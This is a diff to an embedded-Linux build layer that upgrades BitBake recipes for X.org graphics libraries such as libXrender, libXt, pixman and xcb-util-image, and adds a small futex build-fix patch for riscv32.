index 0000000000..3e2825b916
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxrandr_1.5.4.bb
@@ -0,0 +1,22 @@
+SUMMARY = "XRandR: X Resize, Rotate and Reflect extension library"
+
+DESCRIPTION = "The X Resize, Rotate and Reflect Extension, called RandR \
+for short, brings the ability to resize, rotate and reflect the root \
+window of a screen. It is based on the X Resize and Rotate Extension as \
+specified in the Proceedings of the 2001 Usenix Technical Conference \
+[RANDR]."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c9d1a2118a6cd5727521db8e7a2fee69"
+
+DEPENDS += "virtual/libx11 xorgproto libxrender libxext"
+
+PE = "1"
+
+XORG_PN = "libXrandr"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI[sha256sum] = "1ad5b065375f4a85915aa60611cc6407c060492a214d7f9daf214be752c3b4d3"
diff --git a/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb b/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb
deleted file mode 100644
index 9b18366138..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "XRender: X Rendering Extension library"
-
-DESCRIPTION = "The X Rendering Extension (Render) introduces digital \
-image composition as the foundation of a new rendering model within the \
-X Window System. Rendering geometric figures is accomplished by \
-client-side tessellation into either triangles or trapezoids. Text is \
-drawn by loading glyphs into the server and rendering sets of them."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d8bc71986d3b9b3639f6dfd6fac8f196"
-
-DEPENDS += "virtual/libx11 xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXrender"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "802179a76bded0b658f4e9ec5e1830a4"
-SRC_URI[sha256sum] = "c06d5979f86e64cabbde57c223938db0b939dff49fdb5a793a1d3d0396650949"
-
diff --git a/meta/recipes-graphics/xorg-lib/libxrender_0.9.11.bb b/meta/recipes-graphics/xorg-lib/libxrender_0.9.11.bb
new file mode 100644
index 0000000000..e138764dff
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxrender_0.9.11.bb
@@ -0,0 +1,22 @@
+SUMMARY = "XRender: X Rendering Extension library"
+
+DESCRIPTION = "The X Rendering Extension (Render) introduces digital \
+image composition as the foundation of a new rendering model within the \
+X Window System. Rendering geometric figures is accomplished by \
+client-side tessellation into either triangles or trapezoids. Text is \
+drawn by loading glyphs into the server and rendering sets of them."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d8bc71986d3b9b3639f6dfd6fac8f196"
+
+DEPENDS += "virtual/libx11 xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXrender"
+
+BBCLASSEXTEND = "native nativesdk"
+SRC_URI[sha256sum] = "bc53759a3a83d1ff702fb59641b3d2f7c56e05051fa0cfa93501166fa782dc24"
+
diff --git a/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb
deleted file mode 100644
index af6bb19a25..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "XRes: X Resource extension library"
-
-DESCRIPTION = "libXRes provides an X Window System client interface to \
-the Resource extension to the X protocol. The Resource extension allows \
-for X clients to see and monitor the X resource usage of various clients \
-(pixmaps, et al)."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8c89441a8df261bdc56587465e13c7fa"
-
-DEPENDS += "libxext xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXres"
-
-SRC_URI[md5sum] = "5d6d443d1abc8e1f6fc1c57fb27729bb"
-SRC_URI[sha256sum] = "ff75c1643488e64a7cfbced27486f0f944801319c84c18d3bd3da6bf28c812d4"
diff --git a/meta/recipes-graphics/xorg-lib/libxres_1.2.2.bb b/meta/recipes-graphics/xorg-lib/libxres_1.2.2.bb
new file mode 100644
index 0000000000..72b28d9107
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxres_1.2.2.bb
@@ -0,0 +1,19 @@
+SUMMARY = "XRes: X Resource extension library"
+
+DESCRIPTION = "libXRes provides an X Window System client interface to \
+the Resource extension to the X protocol. The Resource extension allows \
+for X clients to see and monitor the X resource usage of various clients \
+(pixmaps, et al)."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8c89441a8df261bdc56587465e13c7fa"
+
+DEPENDS += "libxext xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXres"
+
+SRC_URI[sha256sum] = "9a7446f3484b9b7538ac5ee30d2c1ce9e5b7fbbaf1440e02f6cca186a1fa745f"
diff --git a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
deleted file mode 100644
index aed52e75ee..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "Xscrnsaver: X Screen Saver extension library"
-
-DESCRIPTION = "The X Window System provides support for changing the \
-image on a display screen after a user-settable period of inactivity to \
-avoid burning the cathode ray tube phosphors. However, no interfaces are \
-provided for the user to control the image that is drawn. This extension \
-allows an external \"screen saver\" client to detect when the alternate \
-image is to be displayed and to provide the graphics."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=21fd154ee757813632ada871a34113fb"
-
-DEPENDS += "libxext xorgproto"
-PROVIDES = "libxss"
-RREPLACES_${PN} = "libxss"
-PE = "1"
-
-XORG_PN = "libXScrnSaver"
-
-SRC_URI[md5sum] = "eeea9d5af3e6c143d0ea1721d27a5e49"
-SRC_URI[sha256sum] = "f917075a1b7b5a38d67a8b0238eaab14acd2557679835b154cf2bca576e89bf8"
diff --git a/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.4.bb b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.4.bb
new file mode 100644
index 0000000000..1b407f52f0
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.4.bb
@@ -0,0 +1,22 @@
+require xorg-lib-common.inc
+
+SUMMARY = "Xscrnsaver: X Screen Saver extension library"
+
+DESCRIPTION = "The X Window System provides support for changing the \
+image on a display screen after a user-settable period of inactivity to \
+avoid burning the cathode ray tube phosphors. However, no interfaces are \
+provided for the user to control the image that is drawn. This extension \
+allows an external \"screen saver\" client to detect when the alternate \
+image is to be displayed and to provide the graphics."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=21fd154ee757813632ada871a34113fb"
+
+DEPENDS += "libxext xorgproto"
+PROVIDES = "libxss"
+RREPLACES:${PN} = "libxss"
+PE = "1"
+
+XORG_PN = "libXScrnSaver"
+
+SRC_URI[sha256sum] = "75cd2859f38e207a090cac980d76bc71e9da99d48d09703584e00585abc920fe"
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch b/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch
new file mode 100644
index 0000000000..3e87794d20
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch
@@ -0,0 +1,39 @@
+From 5827f6389a227157958d14a687fb29223cb3a03a Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 7 Apr 2021 07:48:42 +0000
+Subject: [PATCH] xshmfence_futex.h: Define SYS_futex if it does not exist
+
+_NR_futex is not defines by newer architectures e.g. riscv32 as
+they only have 64bit variant of time_t. Glibc defines SYS_futex
+interface based on __NR_futex, since this is used in applications,
+such applications start to fail to build for these newer architectures.
+This patch defines a fallback to alias __NR_futex to __NR_futex_time64
+to make SYS_futex keep working.
+
+Reference: https://git.openembedded.org/openembedded-core/commit/?id=7a218adf9990f5e18d0b6a33eb34091969f979c7
+
+Upstream-Status: Pending
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ src/xshmfence_futex.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/xshmfence_futex.h b/src/xshmfence_futex.h
+index 673ac0e..a71efa5 100644
+--- a/src/xshmfence_futex.h
++++ b/src/xshmfence_futex.h
+@@ -53,6 +53,10 @@ static inline int futex_wait(int32_t *addr, int32_t value) {
+ #include <sys/time.h>
+ #include <sys/syscall.h>
+
++#if !defined(SYS_futex) && defined(SYS_futex_time64)
++#define SYS_futex SYS_futex_time64
++#endif
++
+ static inline long sys_futex(void *addr1, int op, int val1, struct timespec *timeout, void *addr2, int val3)
+ {
+ return syscall(SYS_futex, addr1, op, val1, timeout, addr2, val3);
+--
+2.29.2
+
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.2.bb b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.2.bb
new file mode 100644
index 0000000000..0a7da938e1
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.2.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Shared memory 'SyncFence' synchronization primitive"
+
+DESCRIPTION = "This library offers a CPU-based synchronization primitive compatible \
+with the X SyncFence objects that can be shared between processes \
+using file descriptor passing."
+
+require xorg-lib-common.inc
+
+LICENSE = "HPND"
+LIC_FILES_CHKSUM = "file://COPYING;md5=47e508ca280fde97906eacb77892c3ac"
+
+DEPENDS += "virtual/libx11"
+
+EXTRA_OECONF += "--with-shared-memory-dir=/dev/shm"
+
+SRC_URI += "file://0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch"
+
+SRC_URI[sha256sum] = "870df257bc40b126d91b5a8f1da6ca8a524555268c50b59c0acd1a27f361606f"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb b/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
deleted file mode 100644
index cc45696530..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Shared memory 'SyncFence' synchronization primitive"
-
-DESCRIPTION = "This library offers a CPU-based synchronization primitive compatible \
-with the X SyncFence objects that can be shared between processes \
-using file descriptor passing."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=47e508ca280fde97906eacb77892c3ac"
-
-DEPENDS += "virtual/libx11"
-
-EXTRA_OECONF += "--with-shared-memory-dir=/dev/shm"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI[md5sum] = "42dda8016943dc12aff2c03a036e0937"
-SRC_URI[sha256sum] = "b884300d26a14961a076fbebc762a39831cb75f92bed5ccf9836345b459220c7"
diff --git a/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb b/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb
deleted file mode 100644
index 54384521c8..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Xt: X Toolkit Intrinsics library"
-
-DESCRIPTION = "The Intrinsics are a programming library tailored to the \
-special requirements of user interface construction within a network \
-window system, specifically the X Window System. The Intrinsics and a \
-widget set make up an X Toolkit. The Intrinsics provide the base \
-mechanism necessary to build a wide variety of interoperating widget \
-sets and application environments. The Intrinsics are a layer on top of \
-Xlib, the C Library X Interface. They extend the fundamental \
-abstractions provided by the X Window System while still remaining \
-independent of any particular user interface policy or style."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT & MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=73d55cea4d27ca1a09a5d23378b3ecf8"
-
-DEPENDS += "util-linux libxcb libsm virtual/libx11 xorgproto libxdmcp"
-PROVIDES = "xt"
-
-PE = "1"
-
-XORG_PN = "libXt"
-
-SRC_URI += "file://libxt_fix_for_x32.patch"
-
-SRC_URI[md5sum] = "a9019421d3ee8b4937b6afd9025f018a"
-SRC_URI[sha256sum] = "b31df531dabed9f4611fc8980bc51d7782967e2aff44c4105251a1acb5a77831"
-
-BBCLASSEXTEND = "native nativesdk"
-
-EXTRA_OECONF += "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-lib/libxt_1.3.0.bb b/meta/recipes-graphics/xorg-lib/libxt_1.3.0.bb
new file mode 100644
index 0000000000..1805dae772
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxt_1.3.0.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Xt: X Toolkit Intrinsics library"
+
+DESCRIPTION = "The Intrinsics are a programming library tailored to the \
+special requirements of user interface construction within a network \
+window system, specifically the X Window System. The Intrinsics and a \
+widget set make up an X Toolkit. The Intrinsics provide the base \
+mechanism necessary to build a wide variety of interoperating widget \
+sets and application environments. The Intrinsics are a layer on top of \
+Xlib, the C Library X Interface. They extend the fundamental \
+abstractions provided by the X Window System while still remaining \
+independent of any particular user interface policy or style."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d6e9ca2c4b2276625afe025b0a2a4d8c"
+
+DEPENDS += "util-linux libxcb libsm virtual/libx11 xorgproto libxdmcp"
+PROVIDES = "xt"
+
+PE = "1"
+
+XORG_PN = "libXt"
+XORG_EXT = "tar.xz"
+
+SRC_URI += "file://libxt_fix_for_x32.patch"
+
+SRC_URI[sha256sum] = "52820b3cdb827d08dc90bdfd1b0022a3ad8919b57a39808b12591973b331bf91"
+
+BBCLASSEXTEND = "native nativesdk"
+
+EXTRA_OECONF += "--disable-xkb"
diff --git a/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb b/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb
deleted file mode 100644
index 7837f69d38..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-require xorg-lib-common.inc
-
-SUMMARY = "XTest: X Test extension library"
-
-DESCRIPTION = "This extension is a minimal set of client and server \
-extensions required to completely test the X11 server with no user \
-intervention."
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bb4f89972c3869f617f61c1a79ad1952 \
- file://src/XTest.c;beginline=2;endline=32;md5=b1c8c9dff842b4d5b89ca5fa32c40e99"
-
-DEPENDS += "libxext xorgproto libxi"
-PROVIDES = "xtst"
-PE = "1"
-
-XORG_PN = "libXtst"
-
-SRC_URI[md5sum] = "ef8c2c1d16a00bd95b9fdcef63b8a2ca"
-SRC_URI[sha256sum] = "4655498a1b8e844e3d6f21f3b2c4e2b571effb5fd83199d428a6ba7ea4bf5204"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxtst_1.2.4.bb b/meta/recipes-graphics/xorg-lib/libxtst_1.2.4.bb
new file mode 100644
index 0000000000..db0621ba2e
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxtst_1.2.4.bb
@@ -0,0 +1,20 @@
+require xorg-lib-common.inc
+
+SUMMARY = "XTest: X Test extension library"
+
+DESCRIPTION = "This extension is a minimal set of client and server \
+extensions required to completely test the X11 server with no user \
+intervention."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bb4f89972c3869f617f61c1a79ad1952 \
+ file://src/XTest.c;beginline=2;endline=32;md5=b1c8c9dff842b4d5b89ca5fa32c40e99"
+
+DEPENDS += "libxext xorgproto libxi"
+PROVIDES = "xtst"
+PE = "1"
+
+XORG_PN = "libXtst"
+SRC_URI[sha256sum] = "84f5f30b9254b4ffee14b5b0940e2622153b0d3aed8286a3c5b7eeb340ca33c8"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb b/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb
deleted file mode 100644
index c6027233ef..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Xv: X Video extension library"
-
-DESCRIPTION = "libXv provides an X Window System client interface to the \
-X Video extension to the X protocol. The X Video extension allows for \
-accelerated drawing of videos. Hardware adaptors are exposed to \
-clients, which may draw in a number of colourspaces, including YUV."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT-style"
-LIC_FILES_CHKSUM = "file://COPYING;md5=827da9afab1f727f2a66574629e0f39c"
-
-DEPENDS += "libxext xorgproto"
-
-XORG_PN = "libXv"
-
-SRC_URI[md5sum] = "210b6ef30dda2256d54763136faa37b9"
-SRC_URI[sha256sum] = "d26c13eac99ac4504c532e8e76a1c8e4bd526471eb8a0a4ff2a88db60cb0b088"
-
diff --git a/meta/recipes-graphics/xorg-lib/libxv_1.0.12.bb b/meta/recipes-graphics/xorg-lib/libxv_1.0.12.bb
new file mode 100644
index 0000000000..7f9c5e5cbc
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxv_1.0.12.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Xv: X Video extension library"
+
+DESCRIPTION = "libXv provides an X Window System client interface to the \
+X Video extension to the X protocol. The X Video extension allows for \
+accelerated drawing of videos. Hardware adaptors are exposed to \
+clients, which may draw in a number of colourspaces, including YUV."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=827da9afab1f727f2a66574629e0f39c"
+
+DEPENDS += "libxext xorgproto"
+
+XORG_PN = "libXv"
+
+SRC_URI[sha256sum] = "aaf7fa09f689f7a2000fe493c0d64d1487a1210db154053e9e2336b860c63848"
+
diff --git a/meta/recipes-graphics/xorg-lib/libxvmc_1.0.12.bb b/meta/recipes-graphics/xorg-lib/libxvmc_1.0.12.bb
deleted file mode 100644
index 29ed0c43d1..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxvmc_1.0.12.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "XvMC: X Video Motion Compensation extension library"
-
-DESCRIPTION = "XvMC extends the X Video extension (Xv) and enables \
-hardware rendered motion compensation support."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0a207f08d4961489c55046c9a5e500da \
- file://wrapper/XvMCWrapper.c;endline=26;md5=5151daa8172a3f1bb0cb0e0ff157d9de"
-
-DEPENDS += "libxext libxv xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXvMC"
-
-SRC_URI[md5sum] = "3569ff7f3e26864d986d6a21147eaa58"
-SRC_URI[sha256sum] = "6b3da7977b3f7eaf4f0ac6470ab1e562298d82c4e79077765787963ab7966dcd"
diff --git a/meta/recipes-graphics/xorg-lib/libxvmc_1.0.14.bb b/meta/recipes-graphics/xorg-lib/libxvmc_1.0.14.bb
new file mode 100644
index 0000000000..af18afc62d
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxvmc_1.0.14.bb
@@ -0,0 +1,19 @@
+SUMMARY = "XvMC: X Video Motion Compensation extension library"
+
+DESCRIPTION = "XvMC extends the X Video extension (Xv) and enables \
+hardware rendered motion compensation support."
+
+require xorg-lib-common.inc
+SRC_URI = "${XORG_MIRROR}/individual/lib/${XORG_PN}-${PV}.tar.xz"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0a207f08d4961489c55046c9a5e500da \
+ file://wrapper/XvMCWrapper.c;endline=26;md5=5151daa8172a3f1bb0cb0e0ff157d9de"
+
+DEPENDS += "libxext libxv xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXvMC"
+
+SRC_URI[sha256sum] = "e4be9eb6b6bafdbbf81f47f7163047215376e45e2dc786d0ea6181c930725ed9"
diff --git a/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb b/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb
deleted file mode 100644
index 1612a50f19..0000000000
--- a/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "XFree86-VM: XFree86 video mode extension library"
-
-DESCRIPTION = "libXxf86vm provides an interface to the \
-XFree86-VidModeExtension extension, which allows client applications to \
-get and set video mode timings in extensive detail. It is used by the \
-xvidtune program in particular."
-
-require xorg-lib-common.inc
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fa0b9c462d8f2f13eba26492d42ea63d"
-
-DEPENDS += "libxext xorgproto"
-
-PE = "1"
-
-XORG_PN = "libXxf86vm"
-
-SRC_URI[md5sum] = "298b8fff82df17304dfdb5fe4066fe3a"
-SRC_URI[sha256sum] = "afee27f93c5f31c0ad582852c0fb36d50e4de7cd585fcf655e278a633d85cd57"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.5.bb b/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.5.bb
new file mode 100644
index 0000000000..16fd29ebcd
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.5.bb
@@ -0,0 +1,20 @@
+SUMMARY = "XFree86-VM: XFree86 video mode extension library"
+
+DESCRIPTION = "libXxf86vm provides an interface to the \
+XFree86-VidModeExtension extension, which allows client applications to \
+get and set video mode timings in extensive detail. It is used by the \
+xvidtune program in particular."
+
+require xorg-lib-common.inc
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fa0b9c462d8f2f13eba26492d42ea63d"
+
+DEPENDS += "libxext xorgproto"
+
+PE = "1"
+
+XORG_PN = "libXxf86vm"
+SRC_URI[sha256sum] = "247fef48b3e0e7e67129e41f1e789e8d006ba47dba1c0cdce684b9b703f888e7"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb b/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
deleted file mode 100644
index 5a3bb22ec3..0000000000
--- a/meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Pixman: Pixel Manipulation library"
-DESCRIPTION = "Pixman provides a library for manipulating pixel regions \
--- a set of Y-X banded rectangles, image compositing using the \
-Porter/Duff model and implicit mask generation for geometric primitives \
-including trapezoids, triangles, and rectangles."
-HOMEPAGE = "http://www.pixman.org"
-SECTION = "x11/libs"
-DEPENDS = "zlib"
-
-SRC_URI = "https://www.cairographics.org/releases/${BP}.tar.gz \
- file://0001-ARM-qemu-related-workarounds-in-cpu-features-detecti.patch \
- "
-SRC_URI[md5sum] = "73858c0862dd9896fb5f62ae267084a4"
-SRC_URI[sha256sum] = "6d200dec3740d9ec4ec8d1180e25779c00bc749f94278c8b9021f5534db223fc"
-
-# see http://cairographics.org/releases/ - only even minor versions are stable
-UPSTREAM_CHECK_REGEX = "pixman-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
-
-PE = "1"
-
-LICENSE = "MIT & MIT-style & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=14096c769ae0cbb5fcb94ec468be11b3 \
- file://pixman/pixman-matrix.c;endline=21;md5=4a018dff3e4e25302724c88ff95c2456 \
- file://pixman/pixman-arm-neon-asm.h;endline=24;md5=9a9cc1e51abbf1da58f4d9528ec9d49b \
- "
-
-inherit meson pkgconfig
-
-# These are for the tests and demos, which we don't install
-EXTRA_OEMESON = "-Dgtk=disabled -Dlibpng=disabled"
-# ld: pixman/libpixman-mmx.a(pixman-mmx.c.o):
-# linking mips:loongson_2f module with previous mips:isa64 modules
-EXTRA_OEMESON += "-Dloongson-mmi=disabled"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb b/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb
new file mode 100644
index 0000000000..23ae0cbb27
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Pixman: Pixel Manipulation library"
+DESCRIPTION = "Pixman provides a library for manipulating pixel regions \
+-- a set of Y-X banded rectangles, image compositing using the \
+Porter/Duff model and implicit mask generation for geometric primitives \
+including trapezoids, triangles, and rectangles."
+HOMEPAGE = "http://www.pixman.org"
+SECTION = "x11/libs"
+DEPENDS = "zlib"
+
+SRC_URI = "https://www.cairographics.org/releases/${BP}.tar.gz \
+ file://0001-ARM-qemu-related-workarounds-in-cpu-features-detecti.patch \
+ "
+SRC_URI[sha256sum] = "ea1480efada2fd948bc75366f7c349e1c96d3297d09a3fe62626e38e234a625e"
+
+# see http://cairographics.org/releases/ - only even minor versions are stable
+UPSTREAM_CHECK_REGEX = "pixman-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)"
+
+PE = "1"
+
+LICENSE = "MIT & PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=14096c769ae0cbb5fcb94ec468be11b3 \
+ file://pixman/pixman-matrix.c;endline=21;md5=4a018dff3e4e25302724c88ff95c2456 \
+ file://pixman/pixman-arm-neon-asm.h;endline=24;md5=9a9cc1e51abbf1da58f4d9528ec9d49b \
+ "
+
+inherit meson pkgconfig
+
+# These are for the tests and demos, which we don't install
+EXTRA_OEMESON = "-Dgtk=disabled -Dlibpng=disabled"
+# ld: pixman/libpixman-mmx.a(pixman-mmx.c.o):
+# linking mips:loongson_2f module with previous mips:isa64 modules
+EXTRA_OEMESON += "-Dloongson-mmi=disabled"
+# disable iwmmxt due to compile fails on most arm platforms.
+EXTRA_OEMESON += "-Diwmmxt=disabled"
+
+EXTRA_OEMESON:append:class-target:powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+EXTRA_OEMESON:append:class-target:powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+EXTRA_OEMESON:append:class-target:powerpc64le = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "-Dvmx=enabled", "-Dvmx=disabled", d)}"
+
+EXTRA_OEMESON:append:armv7a = "${@bb.utils.contains("TUNE_FEATURES","neon",""," -Dneon=disabled",d)}"
+EXTRA_OEMESON:append:armv7ve = "${@bb.utils.contains("TUNE_FEATURES","neon",""," -Dneon=disabled",d)}"
+
+EXTRA_OEMESON:append:class-native = " -Dopenmp=disabled"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_STATUS[CVE-2023-37769] = "not-applicable-config: stress-test is an uninstalled test"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-cursor_0.1.4.bb b/meta/recipes-graphics/xorg-lib/xcb-util-cursor_0.1.4.bb
new file mode 100644
index 0000000000..047697845c
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xcb-util-cursor_0.1.4.bb
@@ -0,0 +1,10 @@
+require recipes-graphics/xorg-lib/xcb-util.inc
+
+SUMMARY = "XCB port of libXcursor"
+
+DEPENDS += "xcb-util xcb-util-renderutil xcb-util-image"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ce469b61c70ff8d7cce0547476891974"
+
+SRC_URI[sha256sum] = "28dcfe90bcab7b3561abe0dd58eb6832aa9cc77cfe42fcdfa4ebe20d605231fb"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.0.bb b/meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.0.bb
deleted file mode 100644
index c6bb5a61cd..0000000000
--- a/meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.0.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require xcb-util.inc
-
-DEPENDS += "xcb-util"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://image/xcb_image.c;endline=24;md5=eafdf965cfb89955fdedf75054223fb4 \
- file://image/xcb_image.h;beginline=4;endline=27;md5=48cd25ae55e7de525fe1e1a3a7672e1c"
-
-SRC_URI += "file://clang.patch \
-"
-
-SRC_URI[md5sum] = "08fe8ffecc8d4e37c0ade7906b3f4c87"
-SRC_URI[sha256sum] = "2db96a37d78831d643538dd1b595d7d712e04bdccf8896a5e18ce0f398ea2ffc"
diff --git a/meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.1.bb b/meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.1.bb
new file mode 100644
index 0000000000..018ac913bf
--- /dev/null
+++ b/meta/recipes-graphics/xorg-lib/xcb-util-image_0.4.1.bb
@@ -0,0 +1,12 @@
+require xcb-util.inc
+
+DEPENDS += "xcb-util"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://image/xcb_image.c;endline=24;md5=eafdf965cfb89955fdedf75054223fb4 \
+ file://image/xcb_image.h;beginline=4;endline=27;md5=48cd25ae55e7de525fe1e1a3a7672e1c"
+
+SRC_URI += "file://clang.patch \
+"
+
+SRC_URI[sha256sum] = "ccad8ee5dadb1271fd4727ad14d9bd77a64e505608766c4e98267d9aede40d3d"
